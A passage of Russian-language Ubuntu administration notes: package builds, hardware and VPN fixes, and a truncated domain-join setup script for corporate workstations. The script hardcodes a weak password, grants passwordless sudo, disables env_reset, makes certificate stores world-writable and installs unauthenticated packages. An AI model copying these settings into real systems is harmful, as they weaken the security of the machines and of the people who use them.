sudo apt-get install build-essential autoconf libtool autotools-dev automake libglib2.0-dev libgtk2.0-dev libvte-dev pidgin-dev gir1.2-appindicator-0.1 gir1.2-appindicator3-0.1 libappindicator-dev libappindicator0.1-cil libappindicator0.1-cil-dev libappindicator1 libappindicator3-1  libappindicator3-dev libappindicator3-0.1-cil libappindicator3-0.1-cil-dev libgtk2-appindicator-perl python-appindicator libxml2-dev libgstreamer-plugins-base1.0-dev libgstreamer-plugins-good1.0-0 libgstreamer-plugins-good1.0-dev libgstreamer1.0-dev libgstreamer-ocaml-dev libgstreamer0.10-dev libgstreamermm-1.0-dev libgstrtspserver-1.0-dev libqt5gstreamer-dev libqtgstreamer-dev libtelepathy-farstream-dev libfarstream-0.2-dev libfarstream-0.1-dev libidn11-dev libidn2-0-dev libmeanwhile-dev libavahi-common-dev libavahi-client-dev libavahi-core-dev libavahi-common-dev libavahi-client-dev libavahi-core-dev libavahi-compat-libdnssd-dev libavahi-glib-dev libavahi-gobject-dev libavahi-qt4-dev libavahi-ui-dev libavahi-ui-gtk3-dev libavahi-cil-dev libavahi-ui-cil-dev libmono-zeroconf-cil-dev libavahi-common-dev libavahi-client-dev libavahi-core-dev libavahi-compat-libdnssd-dev libavahi-glib-dev libavahi-gobject-dev libavahi-qt4-dev libavahi-ui-dev libavahi-cil-dev libavahi-ui-cil-dev libmono-zeroconf-cil-dev libnm-dev libnm-glib-dev libnm-glib-vpn-dev libnm-gtk-dev libnm-util-dev libnma-dev network-manager-dev libkf5networkmanagerqt-dev perlqt-dev libcurl4-gnutls-dev libgnutls-dev libgnutls28-dev libneon27-gnutls-dev libneon27-gnutls-dev libcurl4-gnutls-dev libsoup-gnome2.4-dev libsoup2.4-dev libapr-memcache-dev libghc-gnutls-dev tcl-dev tk-dev libx11-dev libxv-dev xorg-dev xserver-xorg-dev libgtkextra-dev libgtkglextmm-x11-1.2-dev

Скачиваем, конфигурируем и ставим

wget http://iweb.dl.sourceforge.net/project/pidgin/Pidgin/2.10.12/pidgin-2.10.12.tar.bz2
tar -xvf ./pidgin-2.10.12.tar.bz2
cd pidgin-2.10.12
./configure
make
make check
sudo make install

Ставим Office Communicator Plugin

Для поддержки Microsoft Lync ставим SIPE Plugin:

wget http://iweb.dl.sourceforge.net/project/sipe/sipe/pidgin-sipe-1.20.1/pidgin-sipe-1.20.1.tar.gz
tar -xvf ./pidgin-sipe-1.20.1.tar.gz
cd pidgin-sipe-1.20.1
./configure
make
sudo make install

Ставим plugin для Whatsapp

Из ppa как напсано тут: https://davidgf.net/whatsapp/ plugin почему-то не поставился.
Ставим из исходников:

sudo apt-get install protobuf-compiler libprotobuf-dev libfreeimage-dev
wget https://codeload.github.com/davidgfnet/whatsapp-purple/zip/master
unzip whatsapp-purple-master.zip
cd whatsapp-purple-master
make 
sudo make install

Однако, у меня pidgin стал падать сразу при запуске (segfault)
Я удалил то что установилось и попробывал

sudo rm -rf /usr/local/lib/purple-2/libwhatsapp.so /usr/local/share/pixmaps/pidgin/protocols/16/whatsapp.png /usr/local/share/pixmaps/pidgin/protocols/22/whatsapp.png /usr/local/share/pixmaps/pidgin/protocols/48/whatsapp.png
make ARCH=x86_64

Результат тот же.
Где-то нашел, что нужно обновить libfreerdp-dev. Ubuntu ставит по-умолчанию 3.15, но есть 3.17. Скачал исходники, собрал, но ничего не поменялось.
Отложу это дело пока что. :(

ubuntu_debian_reinstall_all_packages

anonymous@undisclosed.example.com (Anonymous) — Wed, 13 Feb 2019 07:46:05 +0000

sudo su 
apt-get clean
apt-get update
for pkg in `dpkg --get-selections | awk '{print $1}' | egrep -v '(dpkg|apt|mysql|mythtv)'` ; do apt-get -y --force-yes install --reinstall $pkg ; done

ubuntu_download_package_dependecies

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

Для того, чтобы скачать пакет и все его зависимости делаем так:

mkdir python_deps
cd python_deps
for i in $(apt-cache depends python | grep -E 'Depends|Recommends|Suggests' | cut -d ':' -f 2,3 | sed -e s/'<'/''/ -e s/'>'/''/); do sudo apt-get download $i 2>>errors.txt; done

ubuntu_enable_hibernate

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

sudo nano /etc/polkit-1/localauthority/50-local.d/com.ubuntu.enable-hibernate.pkla

[Re-enable hibernate by default in upower]
Identity=unix-user:*
Action=org.freedesktop.upower.hibernate
ResultActive=yes

[Re-enable hibernate by default in logind]
Identity=unix-user:*
Action=org.freedesktop.login1.hibernate;org.freedesktop.login1.handle-hibernate-key;org.freedesktop.login1;org.freedesktop.login1.hibernate-multiple-sessions;org.freedesktop.login1.hibernate-ignore-inhibit
ResultActive=yes

ubuntu_enable_root_account

anonymous@undisclosed.example.com (Anonymous) — Tue, 21 May 2019 14:34:41 +0000

Как включить учетку root в ubuntu

По-умолчанию root в ubuntu выключен. Однако, иногда его нужно включить.
Чтобы это сделать нужно:

Задать пароль для root:

sudo passwd root

Разблокировать учетку root:

sudo passwd -u root

ubuntu_kde_mtp_device_not_available

anonymous@undisclosed.example.com (Anonymous) — Mon, 21 Mar 2022 06:12:43 +0000

Проблема

При открытии в Dolphin устройства MTP - файлов не видно и появляется сообщение:

mtp device not available

Попытка посмотреть устройства с помощью mtp-tools выдает такое:

sudo mtp-detect 
libmtp version: 1.1.18

Listing raw device(s)
Device 0 (VID=0e8d and PID=2008) is a MediaTek Inc MT65xx.
   Found 1 device(s):
   MediaTek Inc: MT65xx (0e8d:2008) @ bus 3, dev 9
Attempting to connect device(s)
libusb_claim_interface() reports device is busy, likely in use by GVFS or KDE MTP device handling alreadyLIBMTP PANIC: Unable to initialize device
Unable to open raw device 0
OK.

Решение

Для начала надо посмотреть какие билиотеки для работы с MTP установлены в системе и удалить лишние:

dpkg -l | grep -i mtp
dpkg -l | grep -i gvfs

У себя я оставил только gvfs и mtp-tools. Также для работы с MTP могут быть использованы jmtpfs, go-mtpfs, mtpfs, simple-mtpfs, libmtp-git.
Затем я посмотрел - не занято ли устройство чем-то:

usb-devices
...
T:  Bus=03 Lev=01 Prnt=01 Port=01 Cnt=01 Dev#= 13 Spd=480 MxCh= 0
D:  Ver= 2.10 Cls=00(>ifc ) Sub=00 Prot=00 MxPS=64 #Cfgs=  1
P:  Vendor=0e8d ProdID=2008 Rev=ff.ff
S:  Manufacturer=MediaTek
S:  Product=BV8000Pro
S:  SerialNumber=PNQCWSU8PJHUONVC
C:  #Ifs= 1 Cfg#= 1 Atr=c0 MxPwr=192mA
I:  If#=0x0 Alt= 0 #EPs= 3 Cls=ff(vend.) Sub=ff Prot=00 Driver=usbfs

Тут находим Bus=… и Dev#= и смотрим:

lsof /dev/bus/usb/003/013

Оказывается устройство чем-то занято:

COMMAND  PID USER   FD   TYPE  DEVICE SIZE/OFF NODE NAME
kiod5   4244 user   20u   CHR 189,268      0t0  636 /dev/bus/usb/003/013

Прибиваем процесс:

sudo kill -9 4244

И теперь девайс нормально работает в Dolphin

ubuntu_kernel_update

anonymous@undisclosed.example.com (Anonymous) — Tue, 24 Mar 2026 20:44:53 +0000

Скачиваем отсюда: https://kernel.ubuntu.com/~kernel-ppa/mainline/?C=M;O=D
Например, я скачал версию 5.18.4. Устанавливаем ее:

VER=5.18.4
sudo dpkg -i `find ~/Downloads -name "linux*$VER*.deb"`

Ищем старые версии пакетов:

dpkg -l | grep linux-

Например, там обнаруживаются 5.17.7. Чистим их:

VER=5.17.7
dpkg -l | grep -e linux-.*$VER | awk '{print $2}' | sudo DEBIAN_FRONTEND=noninteractive xargs apt-get purge -y

И имеет смысл обновить все доступные firmwares:

cd ~/Documents && git clone --depth 1 https://kernel.googlesource.com/pub/scm/linux/kernel/git/firmware/linux-firmware.git
sudo cp ~/Documents/linux-firmware/amdgpu/* /lib/firmware/amdgpu \
&& sudo cp ~/Documents/linux-firmware/rt* /lib/firmware/ -R \
&& sudo update-initramfs -k all -u

Иначе - могут быть всякие непонятные ошибки при работе и при сборке initramfs:

W: Possible missing firmware /lib/firmware/amdgpu/...

ubuntu_mplayer-gui_fails_to_open_png_read_error

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

Fails to open due to: PNG read error in /usr/share/mplayer/skins/default/main

В Ubuntu 16.04.2 и других версий не открывается MPlayer с ошибкой - Fails to open due to: PNG read error in /usr/share/mplayer/skins/default/main.
Советы сконвертировать PNG из скина в PNG24 не помогли.
А помогло заменить скин на какой-то другой с http://mplayerhq.hu/ .
Например так:

wget http://mplayerhq.hu/MPlayer/skins/proton-1.2.tar.bz2
ls
tar -xvf ./proton-1.2.tar.bz2 
sudo mv ./proton /usr/share/mplayer/skins/
sudo rm -f /usr/share/mplayer/skins/default
sudo ln -s /usr/share/mplayer/skins/proton /usr/share/mplayer/skins/default

ubuntu_networkmanager_fortinet_vpn_disconnecting

anonymous@undisclosed.example.com (Anonymous) — Fri, 26 May 2023 18:54:11 +0000

Проблема

Клиент Fortinet VPN 7.0.7.0246 на системе Kubuntu 23.04 (то есть сетью управляет Network Manager) .
Сразу после подключения соединение обрывается.

Причина

Причина в том, что сразу после подключения устройство в подключении VPN имеет статус unmanaged, а должно иметь статус managed или up.

Возможные пути решения

Вот тут люди обсуждают проблему: https://community.fortinet.com/t5/Support-Forum/FortiClient-cannot-configure-routing-tables-on-Kali-Linux/td-p/251954/highlight/true

Вот простой скрипт который надо запустить перед подключением:

#!/bin/bash

echo "Try to connect to the VPN now"
x=99
while [ $x -ne 0 ]
do
  echo "Waiting for VPN connection..."
  sleep 1
  connection=$(nmcli connection show | grep -oP '^vpn\S*')
  x=$?
done

echo "VPN connection $connection was created! Waiting for 'device-reapply'..."
x=99
while [ $x -ne 0 ]
do
  nmcli -f GENERAL.STATE con show $connection 2> /dev/null
  x=${PIPESTATUS[0]}
  sleep 1
  echo "Still waiting..."
done

echo "Device is unmanaged. Setting it to 'up' again..."
nmcli con up $connection 2> /dev/null
echo "Done."

Он следит за подключением и когда оно появляется - делает ему up !
Это рабочее решение, но требует запуска скрипта вручную каждый раз перед подключением.
На основе этого скрипта я сделал другой скрипт, который может работать как сервис, и не требует запуска каждый раз вручную. Также добавил периодический пинг DNS-сервера этого VPN-подключения, чтобы избежать отключения по таймауту неактивности.

#!/bin/bash

while true; do
  connection=$(nmcli connection show | grep -oP '^vpn00\S*')
  [[ ! -z "$connection" ]] && \
  nmcli -f name,autoconnect connection | grep $connection | grep no && \
  nmcli con mod $connection connection.autoconnect yes && nmcli con up $connection 2>/dev/null && echo -n "Connected! " && date
  sleep 5
  [[ ! -z "$connection" ]] && ping -c 1 -s 1 `nmcli con show $connection 2>/dev/null | grep 'IP4.DNS\[1\]' | awk '{print $2}'` 2>&1>/dev/null
done

В системах с KDE (про Gnome не уверен) этот скрипт достаточно поместить в директрию $HOME/.config/autostart-scripts/ (или $HOME/.config/old-autostart-scripts/) и перезагрузиться.

ubuntu_notebook_sleep_fix

anonymous@undisclosed.example.com (Anonymous) — Fri, 19 May 2023 06:37:44 +0000

Если ноутбук с Linux не всегда просыпается из режимов S3/S4 (Sleep), то можно попробывать так: http://iam.tj/prototype/enhancements/Windows-acpi_osi.html

VERSION="$(sudo strings /sys/firmware/acpi/tables/DSDT | grep -i 'windows ' | sort | tail -1)"
echo 'Linux kernel command-line parameters required: acpi_osi=! "acpi_osi='$VERSION'"'
config() { sed -n '/.*linux[[:space:]].*root=\(.*\)/{s//BOOT_IMAGE=\1/ p;q;}' /boot/grub/grub.cfg; }
echo "Existing Command Line: ` config `"
sudo sed -i "s/^\(GRUB_CMDLINE_LINUX=.*\)\"$/\1 acpi_osi=! \\\\\"acpi_osi=$VERSION\\\\\"\"/" /etc/default/grub
sudo update-grub
echo "Modified Command Line: ` config `"

Don't be put off by all the
characters. Those are required in order to allow sed to insert literal double-quotation marks into the GRUB_CMDLINE_LINUX string.
/etc/default/grub will have added the acpi_osi parameters to the GRUB_CMDLINE_LINUX so it will look something like this (there may be other kernel options that were added on some previous occassion):

GRUB_CMDLINE_LINUX="acpi_osi=! \"acpi_osi=Windows 2015\""

/boot/grub/grub.cfg will have these parameters added to every linux command-line, e.g.

linux   /vmlinuz-4.13.0-16-lowlatency root=/dev/mapper/VG_OS-ubuntu_16.04_rootfs ro acpi_osi=! "acpi_osi=Windows 2015" splash $vt_handoff

Once rebooted the running kernel command-line will show something like:

$ cat /proc/cmdline
BOOT_IMAGE=/vmlinuz-4.13.0-16-lowlatency root=/dev/mapper/VG_OS-ubuntu_16.04_rootfs ro acpi_osi=! "acpi_osi=Windows 2015" splash

ubuntu_ocr_gui_распознавание_текста_ubuntu_gui

anonymous@undisclosed.example.com (Anonymous) — Wed, 19 Aug 2020 07:43:51 +0000

Оптическое распознавание текста (OCR) под Linux

Понадобилось мне распознать десяток страниц из документа djvu. Я, по старой памяти, сконвертировал djvu в pdf с помощью djview4 (это просмотрщик с GUI, который умеет Export to PDF).
А потом попытался распознать.
Сначала попробывал Yagf + Cuneiform. Yagf вываливался в Segmentation Fault на этапе открытия PDF.
Потом я попробывал lios. По сравнению с yagf он оказался гораздо лучше. lios смог нормально испортировать изображения их pdf и распознать. Русский язык нормально распознался с помощью tesseract после установки словаря:

sudo apt-get install lios tesseract-ocr tesseract-ocr-rus speech-dispatcher

А для распознавания djvu без преобразования в pdf есть такое:

ocrodjvu - tool to perform OCR on DjVu documents

ubuntu_pdf_transforming_tools

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

Обработка документов pdf в linux

Понадобилось мне разделить (split) один большой pdf-документ, отсканированный поточным сканером, на страницы. К тому же, четные страницы документа были перевернуты и их нужно было повернуть правильно. Погуглив, я наткнулся на пакет pdftk.

sudo apt-get install pdftk

Помещаем диапазон страниц в отдельный файл:

pdftk ./input.pdf cat 13-14 output output.pdf

В данном случае из документа извлекается диапазон страниц 13-14 Переворачиваем все четные страницы на 180 градусов:

pdftk ./input.pdf shuffle odd evendown output output.pdf

В данном случае вместо cat используется shuffle, который позволяет производить разные денйствия с четными и нечетными страницами. В данном случае нечетные (odd) страницы выводятся как есть, а четные (even) переворачиваются (down). Или можно произвести теже самые манипуляции, указав отдельные страницы:

pdftk ./input.pdf cat 1 2down 3 4down 5 output output.pdf

ubuntu_release_upgrade_1604_to_1804_lxc_host

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

sudo apt-get update
sudo apt-get -y upgrade
sudo do-release-upgrade

После обновления хоста на котором крутились контейнеры LXC с Ubuntu 16.04 до Ubuntu 18.04 контейнеры не запускаются, а при попытке достап к ним вылезают ошибки:

sudo lxc-ls
Failed to load config for container_name
sudo lxc info container_name
Error: not found
sudo lxc config show container_name --expanded
Error: not found

Оказалось, что в новых версиях LXC/LXD произошли существенные изменения.

lxd init
# lxc-update-config -c /var/lib/lxc/container_name/config

ubuntu_replace_wpa.supplicant_with_iwd

anonymous@undisclosed.example.com (Anonymous) — Thu, 25 Aug 2022 09:28:39 +0000

iwd - это демон для работы с беспроводными сетями от Intel.
Отличается низким числом зависимостей, быстродействием и может быть использован как замена wpa_supplicant в паре с популярними менеджерами сетевых подключений, в частности - Networkmanager.

Установка

sudo apt-get install -y iwd

Настройка Networkmanager

В файлике /etc/NetworkManager/NetworkManager.conf дописываем:

# https://iwd.wiki.kernel.org/networkmanager#nm_configuration
[device]
wifi.backend=iwd

Настройка сервисов

sudo systemctl stop wpa_supplicant.service
sudo systemctl stop NetworkManager.service
sudo systemctl start iwd
sudo systemctl restart NetworkManager.service

sudo systemctl disable wpa_supplicant.service
sudo systemctl enable iwd

ubuntu_setup_script

anonymous@undisclosed.example.com (Anonymous) — Mon, 29 Mar 2021 18:44:15 +0000

В скрипте в секции Set needed Variables надо задать только имя хоста. Остальные параметры (DNS, domain-name, DOMAIN controllers) скрипт получает из DHCP и DNS.

Запускать так: sudo ./script.sh
Сделать:

3. http://kerberos.996246.n3.nabble.com/Pending-quot-gss-init-sec-context-failed-Unspecified-GSS-failure-quot-td22422.html I had the same problem/error and fixed it by adding “allow_weak_crypto = true” under [libdefaults] in /etc/krb5.conf This works for me, at least on Debian Squeeze, Ubuntu Karmic, and Ubuntu Lucid. This was announced in /usr/share/doc/libkrb5-3/NEWS.Debian.gz. Hope this helps.

#! /bin/bash

####################################
#### Set needed Variables
####################################
CONNECTION=`ip link | grep 'state UP' | awk '{ print $2 }' | sed 's/:$//'`
NEW_DOMAINNAME=`grep 'option domain-name' /var/lib/dhcp/dhclient.$CONNECTION.leases | tail -n 1 | awk '{print $3}' | sed 's/"//g;s/;//g'`
DNS_SERVERS=`grep 'option domain-name-servers' /var/lib/dhcp/dhclient.$CONNECTION.leases | tail -n 1 | awk '{print $3}' | sed 's/,/ /g;s/;//g'`
DNS_STATIC_SEARCHLIST="$NEW_DOMAINNAME sberbank.ru"
DOMAIN_CONTROLLERS=`host -t srv _ldap._tcp.$NEW_DOMAINNAME | awk {'print $8'} | sed 's/.$//g'`
DEFAULT_REALM="${NEW_DOMAINNAME^^}"
NETBIOS_DOMAIN_NAME=$(echo $DEFAULT_REALM | sed  '1,$ s/\..*//g')
CA_CERT_PREFIX="SberBank_Root_CA"

# check root
if [ "$(id -u)" != "0" ]; then
  echo "You do not have the appropriate privileges..."
  exit 1
fi

##############################################
### Disable IPv6
##############################################
cp /etc/sysctl.conf /etc/sysctl.conf.bak_`date +"%d.%m.%y_%H-%M"`
sed -i '/^net.ipv6.conf/D' /etc/sysctl.conf
echo 'net.ipv6.conf.all.disable_ipv6 = 1' | sudo tee -a /etc/sysctl.conf
echo 'net.ipv6.conf.default.disable_ipv6 = 1' | sudo tee -a /etc/sysctl.conf
echo 'net.ipv6.conf.lo.disable_ipv6 = 1' | sudo tee -a /etc/sysctl.conf
sysctl -p

##############################################
### Setting up NameServers
##############################################
echo "search $DNS_STATIC_SEARCHLIST" | sudo tee -a /etc/resolvconf/resolv.conf.d/base
echo -ne > /etc/resolvconf/resolv.conf.d/head
for nameserver in $DNS_SERVERS; do echo "nameserver $nameserver" | sudo tee -a /etc/resolvconf/resolv.conf.d/head ;done
resolvconf -u

###########################################
### Add Certificates
###########################################
openssl s_client -showcerts -connect ya.ru:443 </dev/null > chain.pem
csplit -k -f $CA_CERT_PREFIX ./chain.pem '/END CERTIFICATE/+1' {10}
find ./ -iname $CA_CERT_PREFIX\* -type f -exec grep -F -L 'END CERTIFICATE' '{}' + | xargs -d '\n' rm
for file in "$CA_CERT_PREFIX"* ; do sudo mv "$file" /usr/local/share/ca-certificates/"$file".pem ; done
for file in /usr/local/share/ca-certificates/"$CA_CERT_PREFIX"* ; do sudo cp "$file" /etc/ssl/certs/ ; done
c_rehash /etc/ssl/certs/
c_rehash /usr/local/share/ca-certificates/
update-ca-certificates
rm -f ./chain.pem

####################################
#### Setup Software
####################################
#echo "deb http://ppa.launchpad.net/kubuntu-ppa/backports/ubuntu xenial main" > /etc/apt/sources.list.d/kubuntu-ppa.list
#apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 8AC93F7A
#echo "deb https://tel.red/repos/ubuntu xenial non-free" > /etc/apt/sources.list.d/telred.list
#apt-key adv --keyserver keyserver.ubuntu.com --recv-keys CE49F8C5
#echo "deb [arch=amd64] http://repo.yandex.ru/yandex-browser/deb beta main" > /etc/apt/sources.list.d/yandex-browser.list
#curl -k https://repo.yandex.ru/yandex-browser/YANDEX-BROWSER-KEY.GPG | sudo apt-key add -

apt-get update
apt-get -y upgrade
#apt-get -y install kubuntu-full
apt-get -y install kubuntu-desktop
apt-get -y install xorg
apt-get -y install nano curl openssl libnss3-tools \
chrony krb5-config krb5-locales krb5-user libpam-krb5 \
samba smbclient winbind libpam-winbind libnss-winbind gss-ntlmssp \
ldap-utils cifs-utils libsasl2-modules-gssapi-mit \
libreoffice-l10n-ru aspell-ru language-pack-gnome-ru language-pack-gnome-ru-base \
language-pack-ru language-pack-ru-base language-pack-kde-ru \
evolution evolution-ews evolution-plugins desktop-file-utils \
xvfb myspell-ru build-essential libc6-i386

apt-get -y --allow-unauthenticated install flashplugin-installer yandex-browser-beta
#apt-get -y install sky
#apt-get install clamav tightvncserver
###  http://archive.canonical.com/pool/partner/a/adobe-flashplugin/adobe-flashplugin_20170411.1.orig.tar.gz
curl -o /tmp/adobe-flashplugin_20170411.1.orig.tar.gz \
http://szud-linux-repo.sigma.sbrf.ru/adobe-flashplugin_20170411.1.orig.tar.gz \
&& /usr/lib/flashplugin-installer/install_plugin \
/tmp/adobe-flashplugin_20170411.1.orig.tar.gz \
&& rm /tmp/adobe-flashplugin_20170411.1.orig.tar.gz

apt-get purge geoclue-2.0

#####################################################################
### Download and install Citrix VDA
#####################################################################
curl -o ./VDA.deb http://szud-linux-repo.sigma.sbrf.ru/xendesktopvda_7.13.0.382-1.Kubuntu16.04_amd64.deb && apt-get -y install ./VDA.deb && rm -f ./VDA.deb

###############################################
### Setup Services
###############################################
systemctl enable ssh
systemctl enable nmbd.service
systemctl enable samba.service
systemctl enable winbind.service
#############################################
#### Setting sudo
#############################################
cat <<EOF > /etc/sudoers.d/domain_users
localuser       ALL=(ALL) ALL
%$NETBIOS_DOMAIN_NAME\\\\domain\ users          ALL=(ALL) ALL
%domain\ users          ALL=(ALL) ALL
%$NETBIOS_DOMAIN_NAME\\\\domain\ admins      ALL=(ALL) NOPASSWD: ALL
%domain\ admins      ALL=(ALL) NOPASSWD: ALL
EOF

sed -i "/^Defaults\ targetpw.*\$/ s/^/#/" /etc/sudoers
sed -i "/^Defaults\ env_reset.*\$/ s/\ env_reset/\ \!env_reset/" /etc/sudoers
sed -i "/^ALL.*ALL=(ALL).*\$/ s/^/#/" /etc/sudoers

############################################################
#### Suppress PolKit prompt messages
############################################################
#cat <<EOF > /etc/polkit-1/localauthority/50-local.d/allow_all.pkla
#[Do not prompt users with any messages]
#Identity=unix-user:*
#Action=*
#ResultAny=yes
#ResultInactive=yes
#EOF

cat <<EOF > /etc/polkit-1/localauthority/50-local.d/55-inhibit-shutdown.pkla
[Disable PowerOff, Reboot, Hibernate, Suspend]
Identity=unix-user:*
Action=org.freedesktop.login1.power-off;org.freedesktop.login1.power-off-multiple-sessions;org.freedesktop.login1.suspend;org.freedesktop.login1.suspend-multiple-sessions;org.freedesktop.login1.hibernate;org.freedesktop.login1.hibernate-multiple-sessions
ResultAny=no
ResultInactive=no
ResultActive=no
EOF

cat <<EOF > /etc/polkit-1/localauthority/50-local.d/60-inhibit-network-changes.pkla
[Disable PowerOff, Reboot, Hibernate, Suspend]
Identity=unix-user:*
Action=org.freedesktop.NetworkManager.*
ResultAny=no
ResultInactive=no
ResultActive=no
EOF

#########################################
### Setup NTP servers
#########################################
sed -i "/^pool.*\$/ s/^/#/" /etc/chrony/chrony.conf
sed -i "/^server.*\$/ s/^/#/" /etc/chrony/chrony.conf

for dc in $DOMAIN_CONTROLLERS;
do
echo "server $dc iburst" | sudo tee -a /etc/chrony/chrony.conf
done

#########################################
### Setup Kerberos /etc/krb5.conf
#########################################
LIBDEFAULTS=$(cat <<EOF
[libdefaults]
dns_lookup_kdc = true
dns_lookup_realm = false
default_realm = $DEFAULT_REALM
clockskew = 300
default_ccache_name = FILE:/tmp/krb5cc_%{uid}
EOF
)

REALMS_KDC=$(for i in $DOMAIN_CONTROLLERS; do echo "kdc = $i";done)

REALMS=$(cat <<EOF

[realms]
$DEFAULT_REALM = {
$REALMS_KDC
default_domain = $DEFAULT_REALM
}
EOF
)

DOMAIN_REALM=$(cat <<EOF

[domain_realm]
.$NEW_DOMAINNAME = $DEFAULT_REALM
$NEW_DOMAINNAME = $DEFAULT_REALM

[appdefaults]
pam = {
        ticket_lifetime = 1d
        renew_lifetime = 1d
        forwardable = true
        proxiable = false
        minimum_uid = 1
}
EOF
)

echo "$LIBDEFAULTS" > /etc/krb5.conf
echo "$REALMS" >> /etc/krb5.conf
echo "$DOMAIN_REALM" >> /etc/krb5.conf

########################################
#### Configure /etc/samba/smb.conf
########################################
SMB_CONF=$(cat <<EOF
# smb.conf is the main Samba configuration file. You find a full commented
# version at /usr/share/doc/packages/samba/examples/smb.conf.SUSE if the
# samba-doc package is installed.
[global]
        workgroup = $NETBIOS_DOMAIN_NAME
        passdb backend = tdbsam
        map to guest = Bad User
        include = /etc/samba/dhcp.conf
        usershare allow guests = No
        idmap gid = 10000-20000
        idmap uid = 10000-20000
        realm = $DEFAULT_REALM
        security = ADS
        template homedir = /home/%D/%U
        template shell = /bin/bash
        usershare max shares = 100
        encrypt passwords = yes
        kerberos method = secrets and keytab
        winbind nested groups = yes
        winbind offline logon = yes
        winbind refresh tickets = yes
        winbind use default domain = yes
        dns proxy = no
        domain master = no
        local master = no
        preferred master = no
        load printers = no
        show add printer wizard = no
        printcap name = /dev/null
        disable spoolss = yes
        client use spnego = yes
        client ntlmv2 auth = yes
EOF
)

mv /etc/samba/smb.conf /etc/samba/smb.conf.bak_`date +"%d.%m.%y_%H-%M"`
echo "$SMB_CONF" > /etc/samba/smb.conf

########################################
#### Configure /etc/nsswitch.conf
########################################
sed -i '/^passwd:.*compat$/ s/$/ winbind/' /etc/nsswitch.conf
sed -i '/^group:.*compat$/ s/$/ winbind/' /etc/nsswitch.conf
sed -i '/^hosts:/ s/:.*$/: files dns/' /etc/nsswitch.conf

##########################################
#### Configure PAM
##########################################
sed -i "/^Default:.*\$/ s/:.*$/: yes/" /usr/share/pam-configs/mkhomedir
sed -i '/^mkhomedir/D' /var/lib/pam/seen
pam-auth-update --package
################################################################
### Fix /etc/pam.d/sddm to allow copy /etc/skel/ on first logon
### https://wiki.autosys.tk/doku.php?id=linux_faq:kde_not_copying_etc_skel_on_user_first_login
################################################################
sed -i '/pam_kwallet/ s/^/#/g' /etc/pam.d/sddm

#################################################
### Disable autologin
#################################################
#sed -i "/^DISPLAYMANAGER_AUTOLOGIN=.*\$/ s/=.*$/=\"\"/" /etc/sysconfig/displaymanager

#####################################################
#### Set SDDM Theme to allow input Username
#####################################################
cp /usr/share/sddm/themes/breeze/Login.qml /usr/share/sddm/themes/breeze/Login.qml.bak_`date +"%d.%m.%y_%H-%M"`
sed -i "/^.*property bool showUsernamePrompt:.*\$/ s/:.*$/: true/" /usr/share/sddm/themes/breeze/Login.qml

#######################################################
#### Import CA Certificates into Browsers
#   http://blog.xelnor.net/firefox-systemcerts/
#######################################################
HOMEDIR=$(getent passwd $SUDO_USER | cut -d: -f6)
apt-get -y install libnss3-tools
rm -Rf $HOMEDIR/.mozilla
rm -Rf $HOMEDIR/.pki

########################################################
#### Create and fill cert8.db in Firefox Profile
########################################################
killall firefox
sudo -u  $SUDO_USER xvfb-run --server-args="-screen 0, 1280x1024x24" firefox -CreateProfile default
FirefoxProfileDir=$(find $HOMEDIR'/.mozilla/firefox/' -iname '*.default');
for certificateFile in /usr/local/share/ca-certificates/"$CA_CERT_PREFIX"* ;
do
 certutil -A -n "${certificateFile}" -t "TCu,Cuw,Tuw" -i ${certificateFile} -d ${FirefoxProfileDir}
done
chmod -R a+rw $HOMEDIR/.mozilla/firefox/*

################################################################################
#### Import certificates into nssdb for Chromium engine
################################################################################
mkdir --parents $HOMEDIR/.pki/nssdb
echo 1q2w3e4r | sudo tee $HOMEDIR/.pki/nssdb/password-file
certutil -N -f $HOMEDIR/.pki/nssdb/password-file -d $HOMEDIR/.pki/nssdb
for certificateFile in /usr/local/share/ca-certificates/"$CA_CERT_PREFIX"* ;
do
 certutil -f $HOMEDIR/.pki/nssdb/password-file -A -n "${certificateFile}" -t "TCu,Cuw,Tuw" -i ${certificateFile} -d sql:$HOMEDIR/.pki/nssdb
done
chmod -R a+rw $HOMEDIR/.pki/nssdb/*

#########################################################
### Copy databases with imported certs to default profile
#########################################################
rm -Rf /etc/skel/.pki/nssdb/*
rm -Rf /etc/skel/.mozilla/firefox/*
mkdir --parents /etc/skel/.pki/nssdb/
cp -Rf $HOMEDIR/.pki/nssdb/* /etc/skel/.pki/nssdb/
mkdir --parents /etc/skel/.mozilla/firefox/
cp -Rf $HOMEDIR/.mozilla/firefox/* /etc/skel/.mozilla/firefox/

############################################################
### Setup Evolution Mail Client
############################################################
### Force Evolution Mail to be online
############################################################
mkdir --parents /etc/skel/.config/plasma-workspace/env/
cat <<EOF > /etc/skel/.config/plasma-workspace/env/evolution.sh
#!/bin/bash
export LANG=ru_RU.utf8
export LANGUAGE=ru_RU
export GIO_USE_NETWORK_MONITOR=base
EOF
##############################################################
### Create Evolution EWS Autodiscovery Script
##############################################################
mkdir --parents /etc/skel/.config/autostart-scripts/
cat <<ENDOFSCRIPT > /etc/skel/.config/autostart-scripts/ews_autodiscovery.sh
#! /bin/bash

export GIO_USE_NETWORK_MONITOR=base
DOMAINNAME=\`hostname -d\`
##################################################
### Check if Evolution EWS source file exist
##################################################
if [ -f ~/.config/evolution/sources/ews.\$USER.\$DOMAINNAME.1.source ]; then
echo
else
##########################################
## Check if connected to AD
##########################################
if ! wbinfo -P; then
echo "NETLOGON test failed" >> ~/.ews_setup.log
else
echo "NETLOGON test OK" >> ~/.ews_setup.log

CURRENT_DC=\`wbinfo -P | awk '{print \$9}' | awk -F "\"" '{print \$2}'\`
FULL_NAME=\`wbinfo -i \$USER | awk -F ":" '{print \$5}'\`
BASEDN=\`echo \$CURRENT_DC | sed s/^[^.]*.//g | sed s/"\."/,dc=/g | sed s/^/dc=/\`
MAIL=\`ldapsearch -h \$CURRENT_DC -b "\$BASEDN" "sAMAccountName=\$USER" | grep mail: | awk '{print \$2 }'\`

###############################################################################################
### MS Exchange autodiscovery
#### https://github.com/sys4/automx/blob/master/src/automx-test
#### http://stackoverflow.com/questions/38509837/when-using-negotiate-with-curl-is-a-keytab-file-required
